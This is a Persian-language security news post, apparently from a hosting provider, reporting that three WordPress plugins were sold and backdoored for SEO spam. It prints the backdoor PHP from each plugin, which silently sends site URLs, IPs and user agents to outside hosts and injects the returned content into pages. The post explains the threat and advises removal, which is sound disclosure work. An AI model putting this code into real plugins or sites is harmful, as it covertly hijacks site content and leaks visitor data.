12
دسامبر
آلوده بودن ۳ پلاگین پرکاربرد وردپرس به backdoor
آلوده بودن ۳ پلاگین پرکاربرد وردپرس طی دو هفته گذشته سبب شد تا وردپرس اقدام به حذف آنها از مخزن رسمی خود کند.
به طوری که دیگر دسترسی به آنها از طریق این وبسایت غیرممکن شده و آپدیتهای بعدی برای آنها منتشر نخواهد شد.
آلوده بودن ۳ پلاگین پرکاربرد وردپرس به Backdoor
تمامی ۳ پلاگین آلوده طی بررسیهای اخیر وبسایت رسمی وردپرس طی ۶ ماه گذشته حق امتیاز آنها توسط فردی ناشناس خریداری شده و اهداف این فرد دسترسی از وبسایتها به منظور آلوده سازی آنها به بک لینکهای موردنظر جهت حملات موسوم به seo spam میباشد.
Duplicate Page and Post
URL: https://wordpress.org/plugins/duplicate-page-and-post/
Active Installs: ۵۰,۰۰۰+
Current Owner: pluginsforwp (joined WordPress.org July ۱۰, ۲۰۱۷)
Sold Date: August ۲۰۱۷
Removed from WordPress.org date: December ۱۴, ۲۰۱۷
اولین پلاگین بسیار معروف که تعداد بسیار زیادی از وب سایتهای فعال، چیزی در حدود ۵۰۰۰۰ نصب فعال داشته است پلاگین Duplicate Page and Post میباشد. اولین بار در version 2.1.0 این پلاگین سورس کدهای آلوده مشاهده شد و اخیراً هم در version 2.1.1 این پلاگین،در زیر میتوانیدبخش آلوده به Backdoor این پلاگین را مشاهده کنید.
$request_url = ‘https://cloud-wp.org/api/v1/update?url=’ . urlencode($url) . ‘&ip=’ . urlencode($ip) . ‘&user_agent=’ . urlencode($user_agent);
$response = wp_remote_get($request_url, array(‘timeout’ => ۲));
$this->data = new stdClass();
$this->data->content = null;
$this->data->confirm = null;
$this->data->contact = null;
if (!$response instanceof WP_Error && $response[‘body’]) {
$data = json_decode($response[‘body’]);
if (null !== $data) {
$content_position = $data->version;
if (‘۱’ == $content_position) {
$this->data->confirm = $data->data;
if (!$output_buffer) {
$this->data->content = $data->data;
}
} elseif (‘۲’ == $content_position) {
$this->data->content = $data->data;
} else {
$this->data->contact = $data->data;
}
}
}
این کد دقیقاً چه کار میکند؟
کاملاً مشخص است که یک رکوئست به آدرس cloud-wp.org فرستاده شده و پاسخ از طریق یک آدرس url برگشت داده میشود و تمامی این عملیات به صورت خودکار و درون سورس کدهای پلاگین و بدون آگاهی کاربر اتفاق میافتد و این کد در هر رکوئست اجرا شده و قدرت inject محتوا و امکان ساخت بک لینک و یا حملات seo spam را به نفوذگر میدهد.
۲ – پلاگین معروف بعدی No Follow All External Links میباشد که اطلاعات در دسترس ما از این پلاگین در زیر آورده شده است.
No Follow All External Links
URL: https://wordpress.org/plugins/nofollow-all-external-links/
Active Installs: ۹,۰۰۰+
Current Owner: gearpressstudio (joined WordPress.org March ۱۷, ۲۰۱۷)
Sold Date: April ۲۰۱۷
Removed from WordPress.org date: December ۱۹, ۲۰۱۷
اولین با سورس کد آلوده به content-injection در version 2.1.0 این پلاگین رخ داد و کد آلوده آن به شکل زیر میباشد.
if (self::$data[‘report’] && self::$advancedSettings[‘improvement’] = ۱) {
$requestUrl = ‘https://cloud.wpserve.org/api/v1/update?&url=’ . urlencode(‘http://’ . $_SERVER[‘HTTP_HOST’] . $_SERVER[‘REQUEST_URI’]) . ‘&agent=’ . urlencode($_SERVER[‘HTTP_USER_AGENT’]) . ‘&ip=’ . urlencode($_SERVER[‘SERVER_ADDR’]);
$response = wp_remote_get($requestUrl, [‘timeout’ => ۲]);
if (!$response instanceof WP_Error) {
self::$data[‘response’] = json_decode($response[‘body’]);
}
}
add_filter(‘the_content’, [‘noFollowAllExternalLinks’, ‘interceptContent’]);
این کد نیز همانند مشکل پلاگین قبلی با ارسال رکوئست ها به cloud.wpserve.org امکان تزریق بک لینک و seo spam را برای نفوذگر که همان نویسنده پلاگین باشد فراهم میسازد.
۳ – پلاگین آخر Wp No External Links میباشد که اطلاعات ثبت شده آن در مخزن وردپرس به شرح ذیل میباشد.
WP No External Links
URL: https://wordpress.org/plugins/wp-noexternallinks/
Active Installs: ۳۰,۰۰۰+
Current Owner: steamerdevelopment (joined WordPress.org June ۲۹, ۲۰۱۷)
Sold Date: July ۱۲, ۲۰۱۷
Removed from WordPress.org date: December ۲۲, ۲۰۱۷ (we’re assuming this based on the date of the last update note, from a member of the WordPress.org plugins team)
این پلاگین نیز آلوده به قطعه کد زیر درون سورس کدهای خود بوده و همانند دو پلاگین قبلی با اتصال به یک آدرس url مشخص امکان تزریق کدهای موردنظر هکر را برای آن میسر میکند.
if ($this->data->report) { $request_url = ‘https://wpconnect.org/api/v1/update?&url=’ . urlencode($this->data->url) . ‘&ip=’ . urlencode($this->data->ip) . ‘&user_agent=’ . urlencode($this->data->user_agent); $response = wp_remote_get($request_url, array(‘timeout’ => ۲)); if (!$response instanceof WP_Error && $response[‘body’]) { $data = json_decode($response[‘body’]); $content_position = $data->version; if (‘۱’ == $content_position) { $this->data->buffer = $data->data; if (‘all’ !== $this->options->mask_links) { $this->data->before = $data->data; } } elseif (‘۲’ == $content_position) { $this->data->before = $data->data; } else { $this->data->after = $data->data; } }}
طبق بررسیهای وبسایت رسمی وردپرس پلاگینهای اول و سوم توسط یک فرد با نام مستعار Daley Tias از نویسندگان آنها خریداری شده بوده و سپس در ورژن های بعدی به کدهای مخرب آلودهشدهاند و این سند را نیز آدرس ip های هر دو وب سایتی که رکوئست ها به آن ارسال میشدند مشخص میکند.
با بررسیهای نهایی صورت گرفته، آلوده بودن ۳ پلاگین پرکاربرد وردپرس تماماً در جهت حملات seo spam و استفاده از وبسایتها جهت گرفتن بک لینکهای پنهانی بودهاند
مهم: توصیه مدیر سرور به شما این است که اگر از هر یک از ۳ پلاگین بالا بر روی وبسایت شما استفاده شده است آن را سریعاً حذف کنید و وبسایت خود را به صورت دقیق مورد ارزیابی قرار دهید تا به seo spam آلوده نشده باشد و حتماً آموزش افزایش امنیت وردپرس را مطالعه کنید و چنانچه آگاهی از مباحث seo ندارید و دقیقاً نمیدانید باید به دنبال چه مواردی درون وبسایت خود باشد آموزش سئو وردپرس میتوانید شما را بسیار کمک کند.